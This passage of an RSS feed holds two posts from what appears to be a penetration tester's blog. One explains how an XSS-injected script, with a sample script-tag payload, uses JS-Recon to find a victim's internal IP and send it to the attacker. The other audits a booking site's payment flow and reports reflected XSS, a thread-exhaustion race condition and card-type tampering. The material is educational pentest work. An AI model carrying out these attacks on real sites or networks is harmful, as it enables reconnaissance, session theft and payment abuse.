&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Check_idp()&lt;/code&gt; checks the readyState of the socket, if is equal to 0 and the time of the interval is over the closed_port_max seconds, the port is closed and continues enumerating the next subnet. 
If not, calls the function again to check if the readyState has changed and if it has changed, it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find_ip()&lt;/code&gt; doing a similar process to guess the IP of the user.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;taking-advantage-of-cross-site-scripting-to-get-the-internal-ip-of-a-victim&quot;&gt;Taking advantage of Cross-Site Scripting to get the Internal IP of a Victim&lt;/h2&gt;

&lt;p&gt;After analyzing the potential of JS-Recon, an attacker can think about:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Infect the victim with a XSS&lt;/li&gt;
  &lt;li&gt;Detect the internal IP of the victim&lt;/li&gt;
  &lt;li&gt;Detect the open services of the victim&lt;/li&gt;
  &lt;li&gt;Detect the desired open services of the IPs in the victim LAN&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, editing the javascript and invoking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find_network()&lt;/code&gt; first, and when the victim IP is detected, call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scan_ports()&lt;/code&gt; passing the victim IP as parameter and ending calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scan_network()&lt;/code&gt; specifying the IP range of the victim LAN and the desired port/s, we could do a complete local scan of a victim network using a script.&lt;/p&gt;

&lt;p&gt;In this POC only the internal IP is detected and retrieved:&lt;/p&gt;

&lt;p&gt;If we inject the malicious javascript in the XSS or call to a hosted javascript in our machine:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://localhost/1.js&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Automatically, the script will try to find our router interface and detect the IP Range:
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181017/3.png&quot; alt=&quot;Router_detection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After finding the subnet, the script will try to find the internal IP of the victim:
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181017/4.png&quot; alt=&quot;Internal_IP_detection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, an assyncronous request to the attacker site will be done passing the internal IP as parameter:
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181017/5.png&quot; alt=&quot;Internal_IP_detection&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;limitations&quot;&gt;Limitations&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Blocked Ports:&lt;/strong&gt;
To avoid Cross Protocol exploitation almost all popular browsers block connections to certains well known ports. Due to this the status of these ports cannot be determined.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linear Scanning:&lt;/strong&gt;
The determination of port status is based on timing of the readyState status changes. Opening multiple simultaneous connections interferes with this timing leading to unreliable results. Hence to avoid such situations all scans are performed one port at a time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Internal Networks Only:&lt;/strong&gt;
As stated above, timing is critical to identification of port status. Depending on the location of the target device this timing could vary. JSRecon has been tuned to scan internal networks with very low turn around time. Scanning external networks would require only two minor changes - values of the variables open_port_max and closed_port_max must be suitable updated.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://www.andlabs.org/tools/jsrecon.html&quot;&gt;JS-Recon Site&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.andlabs.org/tools/jsrecon/jsrecon.html&quot;&gt;JS-Recon - Description&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-10-18T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/js-recon</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/js-recon</guid>
        </item>
      
    
      
        <item>
          <title>Auditing a Payment Processing of a Booking Framework</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Auditing a Payment Processing of a Booking Framework&quot; /&gt;

&lt;div class=&quot;message&quot;&gt;
  This article is thanks to the collaboration with Rayco Betancor and his crazy ideas and deep knowledge of how a Payment processing works, and a lot of trying different requests, forcing errors and trying harder.
&lt;/div&gt;

&lt;p&gt;Note that this is a real scenario, but the back end is hidden and parameters modified trying to avoid some identification.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;about-the-network&quot;&gt;About the network&lt;/h2&gt;

&lt;p&gt;The booking framework network was in AWS service instance, that implies:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Packet Sniffing It is not possible for a virtual instance running in promiscuous mode to receive or sniff traffic that is intended for a different virtual instance. While customers can elect to place their interfaces into promiscuous mode, the hypervisor will not deliver any traffic to an instance that is not addressed to it. Even two virtual instances that are owned by the same customer located on the same physical host cannot listen to each other’s traffic. Additionally, attacks such as ARP cache poisoning do not work within Amazon EC2 and Amazon VPC. While Amazon EC2 does provide ample data protection between customers by default, as a standard practice it is best to always encrypt sensitive traffic.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A bunch of test couldn’t bee performed. The only thing we could do was enumerate but we haven’t found any interesting backend without doing the proper POST or GET request.
Ports 8443, 9443 the rest was closed or doing some redirects to pages out of scope.&lt;/p&gt;

&lt;p&gt;So, what to do now? Stop here the pentest? We can’t enumerate anything because we receive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;404 NOT FOUND&lt;/code&gt; when we try to fuzz and any interesting port to exploit.&lt;/p&gt;

&lt;p&gt;What to do next? Let’s try to simulate a real booking scenario to figure out how the booking and payment workflow works.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;understanding-the-workflow&quot;&gt;Understanding the workflow&lt;/h2&gt;

&lt;p&gt;It is important to understand the process since a customer does a booking until he/she pays, via online and he/she receives the booking confirmation.
In this case, and generally in the payment process the workflow is the following.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/1.png&quot; alt=&quot;Workflow&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;forcing-errors-to-retrieve-information&quot;&gt;Forcing errors to retrieve information&lt;/h2&gt;

&lt;p&gt;When fuzzing parameters, we notice that there was some error with Stripe.&lt;/p&gt;

&lt;p&gt;Response:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK Date: Wed, 03 Oct 2018 14:54:40 GMT Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; 
includeSubDomains; preload Content-Type: text/html;charset=UTF-8 Content-Language: en-US Cache-Control: max-age=604800 Expires: Wed, 10 Oct 2018 14:54:40 GMT Vary: 
Connection: close Content-Length: 948  
&amp;lt;html&amp;gt; &amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Stripes validation error report&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt; &amp;lt;body style=&quot;font-family: Arial, sans-serif; font-size: 10pt;&quot;&amp;gt; &amp;lt;h1&amp;gt;Stripes validation error report
&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt; Here's how it is. Someone (quite possibly the Stripes Dispatcher) needed to get the source page resolution. But no source page was supplied in the request, 
and unless you override ActionBeanContext.getSourcePageResolution() you're going to need that value. When you use a &amp;lt;stripes:form&amp;gt; tag a hidden field called '_sourcePage'
 is included. If you write your own forms or links that could generate validation errors, you must include a value  for this parameter. This can be done by calling 
 request.getServletPath(). &amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Validation errors&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt; &amp;lt;div style=&quot;color:#b72222; font-weight: bold&quot;&amp;gt;Please fix the following errors:&amp;lt;/div&amp;gt;&amp;lt;ol&amp;gt;&amp;lt;li style=&quot;color: 
 #b72222;&quot;&amp;gt;The value &quot;VISA&amp;amp;quot;&amp;amp;lt;wow&amp;amp;gt;&quot; is not a valid value for field Card Cardtype&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, we know the payment process was using Stripe: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Stripes validation error report&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;stripe&quot;&gt;Stripe&lt;/h2&gt;

&lt;p&gt;According to Stripe:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Stripe is the best software platform for running an internet business. We handle billions of dollars every year for forward-thinking businesses around the world. Stripe builds the most powerful and flexible tools for internet commerce. Whether you’re creating a subscription service, an on-demand marketplace, an e-commerce store, or a crowdfunding platform, Stripe’s meticulously designed APIs and unmatched functionality help you create the best possible product for your users. Millions of the world’s most innovative technology companies are scaling faster and more efficiently by building their businesses on Stripe&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;More information &lt;a href=&quot;https://stripe.com/&quot;&gt;Stripe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To keep in mind, reading the documentation is the best way to understand what parameters mean and how to try to force the application to enter in an undesired state.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;vulnerabilities-found&quot;&gt;Vulnerabilities found&lt;/h2&gt;

&lt;h3 id=&quot;reflected-xss-after-booking-confirmation&quot;&gt;Reflected XSS after Booking Confirmation&lt;/h3&gt;

&lt;p&gt;When a user inputs his/her booking information, like username, last name, city, and the booking is confirmed. The user retrieves his/her information with the booking details. However, if a malicious user inputs a XSS Payload that bypass the sanitizer, when the confirmation is rendered, the javascript content would be executed. A malicious user could distribute the link of the confirmation to force the victim to execute the javascript code, letting steal of cookies, redirects, keylogging…&lt;/p&gt;

&lt;p&gt;Input with XSS payload:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/2.png&quot; alt=&quot;Payload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Reflection after submission:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/3.png&quot; alt=&quot;Execution&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;race-condition-causing-a-possible-dos-thread-extenuation&quot;&gt;Race condition causing a possible DOS Thread extenuation&lt;/h3&gt;

&lt;p&gt;There is a race condition when submitting various simultaneous requests in the payment process, the servers keeps the thread opened until process all the requests. Malicious user could submit several request trying to exhaust the thread pool, forcing the web server to deny all new requests.&lt;/p&gt;

&lt;p&gt;Oficial stripe documentation indicates:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Instead of “You can use our API 1000 times a second”, this rate limiter says “You can only have 20 API requests in progress at the same time”. Some endpoints are much more resource-intensive than others, and users often get frustrated waiting for the endpoint to return and then retry. These retries add more demand to the already overloaded resource, slowing things down even more. The concurrent rate limiter helps address this nicely.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;vulnerabilities-agains-logic-of-the-application&quot;&gt;Vulnerabilities agains logic of the application&lt;/h3&gt;

&lt;p&gt;When confirming a booking, there is a form that requires the card information. A select menu is shown with the avaible types of card: VISA, Mastercard, American Express and UnionPay. Therefore, users could change the type of its card. This unexepected processing, would impact against business logic.&lt;/p&gt;

&lt;p&gt;In Stripe API, the following configuration could be determined:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The brand parameter of the card object exposes whether the card brand is Visa, American Express, MasterCard, Discover, JCB or Diners Club. A card brand may be Unknown if we are unable to determine its brand.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Payment form:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/4.png&quot; alt=&quot;Payment form&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Editing the request changing the card type to “JCB”, the data would arrive to Stripe processing.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/5.png&quot; alt=&quot;Edit Card&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that in the response there is not an error causing for not supporting JCL, is an error for using a fake card. When an unexistent card type is used, the following error is showed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181007/6.png&quot; alt=&quot;Error card type&quot; /&gt;&lt;/p&gt;
</description>
          <pubDate>2018-10-07T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/payment-processing-booking</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/payment-processing-booking</guid>
        </item>
      
    
  </channel>
</rss>
